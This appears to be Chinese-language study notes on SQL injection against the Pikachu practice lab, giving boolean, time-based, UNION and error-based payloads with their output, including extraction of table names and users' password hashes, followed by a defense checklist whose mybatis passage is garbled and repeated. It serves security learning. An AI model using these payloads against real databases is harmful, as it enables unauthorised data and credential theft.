文章目录
SQL注入
字符型的注入(加单引号)和 数字型的注入
1' or 1=1#
查出所有数据。
SQL盲注
在服务器没有错误回显时完成注入攻击,服务器没有回显,对攻击者来说缺少了重要调试信息,所以攻击者必须找到一个方法验证注入的SQL语句是否被执行。
分类:布尔盲注,时间盲注,
布尔盲注
select *from 表名 where id = x
可以使用经典的 and 1=1 和 and 1=2
在url中输入http:xxxx/abc.php?id=x and 1=1 看页面是否正常运行
在url中输入http:xxxx/abc.php?id=x and 1=2 看页面是否报错
例子
http://localhost/pikachu-master/vul/sqli/sqli_blind_b.phpname=kobe%27+and+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2
kobe' and 1=1#
kobe' and 1=2#
kobe’ and(length(database())>5)# 尝试获取数据库名的长度
kobe’ and(length(database())>7)# 错误 不大于7 大于5那么长度就是5;
时间盲注
基于布尔盲注,结合if判断和sleep()函数来得到一个时间上的变换延迟的参照。
and if(length(database())>5,0)
kobe' and if(length(database())>5,sleep(5),0)#
联合盲注
猜字段,猜数据库名字
## 猜测查询的字段数
kobe' order by 1#
kobe' order by 2#
kobe' order by 3#
##Unknown column '3' in 'order clause'
Unknown column ‘3’ in ‘order clause’ 表面一共有两个字段。
猜测数据库名字 union select联合查询继续获取信息。
要求 :两个表的列数一样。 union运算符可以将两个以上的select语句的查询结果集合合并成一个结果集合显示。
kobe' union select database(),user()#
结果:获得额外的结果
your uid:3
your email is: kobe@pikachu.com
your uid:pikachu
your email is: root@localhost
获取数据库版本和当前操作系统
kobe' union select version(),@@version_compile_os#
your uid:3
your email is: kobe@pikachu.com
your uid:5.7.26
your email is: Win64
尝试获取pikachu数据库中的表名
该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库
## 1.是用来凑数的,因为有两个字段。
kobe ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
执行结果:
your uid:3
your email is: kobe@pikachu.com
your uid:1
your email is: httpinfo,member,message,users,xssblind
根据经验猜测
## 有经验的黑客会去猜测数据库的表明
## 猜测存在 users,所以输入
kobe' union select 1,2 from users#
kobe' and exists(select * from users)#
尝试获取users表中的字段名
## 1 为了凑2个字段
kobe' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
数据库是当前数据库 表面位users
结果:
your uid:1
your email is: id,username,password,level
6.尝试获取用户名和密码
kobe' union select username,password from users#
执行结果:
your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e
your uid:pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd
your uid:test
your email is: e99a18c428cb38d5f260853678922e03
成功获得了用户名和密码,一共两个字段。但是这个密码采取了md5加密。
数字型注入
用fiddler抓包 用向上的断点抓取请求,修改参数位 1 or 1=1# 查询到所有信息
结果为:
hello,vince
your email is: vince@pikachu.com
hello,allen
your email is: allen@pikachu.com
hello,kobe
your email is: kobe@pikachu.com
hello,grady
your email is: grady@pikachu.com
hello,kevin
your email is: kevin@pikachu.com
hello,lucy
your email is: lucy@pikachu.com
hello,lili
your email is: lili@pikachu.com
在注册是进行sql注入。网站返回的是数据库的报错信息,因此可以进行报错注入。
## 1 为参数 第二个参数为具体的节点。 要拿到数据库的名字。
kobe' or updatexml(1,concat(0x7e,database()),1) or'
执行结果:XPATH syntax error: ‘~pikachu’
0' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' )),0) or '
sql注入步骤
判断注入点,判断字段数,判断回显点,查询相关内容。
怎样防御SQL注入漏洞
1.使用参数化的过滤性语句。
参数化:where name =? java开发后端时使用PreparedStatement ,字符串拼接就是非参数化。 在使用mybatis框架时减少 的 使 用 , 非 必 要 不 使 用 的使用,非必要不使用 的使用,非必要不使用,使用#替代。。
2.输入验证。
敏感命令过滤
3.错误消息处理
敏感信息不显示
4.加密处理,md5是最基本的可以再加一个随机字符处理
5.存储过程来执行所有的查询
6.使用专业的漏洞扫描工具
7.确保数据库安全
? java开发后端时使用PreparedStatement ,字符串拼接就是非参数化。 在使用mybatis框架时减少 的 使 用 , 非 必 要 不 使 用 的使用,非必要不使用 的使用,非必要不使用,使用#替代。。
2.输入验证。
敏感命令过滤
3.错误消息处理
敏感信息不显示
4.加密处理,md5是最基本的可以再加一个随机字符处理
5.存储过程来执行所有的查询
6.使用专业的漏洞扫描工具
7.确保数据库安全